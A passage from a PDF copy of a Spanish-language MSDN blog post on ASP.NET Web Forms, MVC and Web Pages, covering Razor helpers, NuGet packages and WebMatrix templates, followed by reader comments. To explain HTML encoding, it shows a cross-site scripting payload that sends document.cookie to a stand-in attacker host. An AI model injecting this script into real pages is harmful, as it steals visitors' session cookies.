querystring, donde la aplicación espera que el usuariointroduzca algún tipo de dato o parametrización. Un ejemplo típico es introducir un fragmento decódigo JavaScript oculto en un post de un foro o un comentario de un blog, de forma que ese scriptposteriormente se ejecute para todos los usuarios que accedan a dicho foro o dicho blog. Sin codificación HTML, el usuario malicioso podría inyectar el siguiente fragmento de script en su posty el servidor posteriormente lo incluiría como parte del HTML de la página de forma que losnavegadores lo interpretarían como una etiqueta válida de script que se ejecutaría sin intervención delusuario: <script type="text/javascript">    document.location='http://hacker.org/evil.asp?cookie=' + document.cookie;</script> 

Page 18: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 18/22

La codificación HTML convertiría el anterior fragmento de texto en la siguiente cadena, que elnavegador web interpretaría como texto literal y no como una etiqueta HTML/Script válida, y que portanto haría inofensivo el ataque: &lt;script type=&#39;text/javascript&#39;&gt;    document.location=&#39;http://hacker.org/evil.asp?cookie=&#39; + document.cookie;&lt;/script&gt; Cualquier modelo de programación de ASP.NET soporta la codificación HTML y protege contra losataques de cross‐site scripting, pero en ASP.NET Web Pages se ha hecho de forma completamenteintegrada en el lenguaje y por tanto más sencillo. 3 – Código mejor estructurado y reutilizable con la sintaxis @helperLa sintáxis @helper permite crear métodos “helper” que encapsulen lógica de generación de HTML,proporcionando una mayor reutilización de código y facilitando también la lectura de dicho código. @helper CalculateDiscountPercent(Decimal price, Decimal discount){    if (discount > 0)    {        decimal discountPercent = Math.Round(((discount / price) * 100M), 1);        <span>@discountPercent %</span>    }    else    {        <span>This product is not discounted!</span>    }   } <h1>Price list:</h1>       <ul>    @foreach (Product prod in products)    {        <li>            <span class="product">                Product: @prod.Description            </span>            <span class="price">                Regular Price: @prod.Price            </span>            <span class="discountpercent">                Discount: @CalculateDiscountPercent(prod.Price, prod.Discount)            </span>        </li>    }               </ul> 4 – Extensiones fácilmente accesibles desde el Package ManagerASP.NET Web Pages introduce un concepto similar a los plug‐ins de jQuery o WordPress, denominadossimplemente paquetes (packages). Estos paquetes están disponibles desde un feed público en Internetllamado NuGet, y el Package Manager de WebMatrix simplifica la descarga e instalación de estospaquetes para integrarlos en nuestras aplicaciones. 

Page 19: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 19/22

 En la mayoría de los casos estos paquetes están implementados como clases .NET con métodos helper,que podemos utilizar desde las páginas Razor. Por ejemplo, el paquete Twitter.Helper 1.0 permiteentre otras cosas añadir un widget de Twitter a una página Razor, que muestre los últimos tweets deuna búsqueda determinada: <div>    @TwitterGoodies.Search("asp.net")</div> Este es el resultado que genera el helper Search de Twitter.Helper 1.0, todo esto añadiendo una solalínea de código: 

Page 20: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 20/22

 5 – Plantillas de sitios web en WebMatrix para reducir los tiempos de desarrolloSi elegimos Microsoft WebMatrix como entorno de desarrollo, podemos reducir aún más los tiemposde desarrollo, creando las aplicaciones ASP.NET Web Pages a partir de las plantillas que incluyeWebMatrix. Estas plantillas incluyen la estructura y funcionalidad básica sobre las que crear nuevasaplicaciones. Las plantillas existentes implementan funcionalidad como autenticación de usuarios porformularios, procesamiento de pedidos para tienda online, funcionalidad para subir y compartir fotoso creación de calendarios. 

Page 21: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 21/22

 

Comments

Fredy Guibert1 Jun 2012 10:06 AM

Me parece excelente, en los últimos meses he estado programando en asp.net y me parece rápido,seguro y eficiente, gracias por los links!

Daniel Mossberg4 Jun 2012 4:48 AM

Gracias Fredy, me alegro que te hayan resultado útiles.

juan_alberto22 Jul 2012 2:53 PM

Excelente gracias por compartir!!

Anass Rahou6 Feb 2013 8:47 AM

Muchas gracias por la información, por el aclaramiento mejor dicho, porque me tenía confundido lo de lastres modalidades que digamos, ahora está mucho mejor explícito. Gracias

Page 22: Modelos de programación en ASP.pdf

14/2/2015 Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages ­ The code is out there ­ Site Home ­ MSDN Blogs

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelos­de­programacion­en­aspnet.aspx 22/22

Omar25 Sep 2013 6:09 AM

Excelente!

JManuMurillo29 Oct 2013 3:23 PM

Muchas gracias!!

Halo 46 Nov 2013 3:05 PM

Hola que tal.

Me parece interesante el artículo. Solo hay un punto que se debe de aclarar: El  título puesto como"ASP.NET Web Pages", como un modelo de programación puede resultar confuso para algunosdesarrolladores, ya que realmente es más que un modelo, es también la tecnología sobre la cuál esta eldesarrollo de páginas web dinámicas en ASP.NET, así, Web Forms usa esta tecnología de Web Pagespara la implementación de páginas en ASP.NET. Creo que se comprende mejor como "ASP.NET WEBPages con sintaxis Razor". Siempre me he quejado de Java Struts por la famosa implementación de su"código spaguetti", y bueno, me resulta familiar que este concepto se aplique con esta sintaxis Razordentro del código de la interfaz de la página web (Web Page).

Saludos !!

Christian Sandoval22 Nov 2014 6:27 AM

Excelente aporte, me aclaraste un par de cosas.

Saludos.­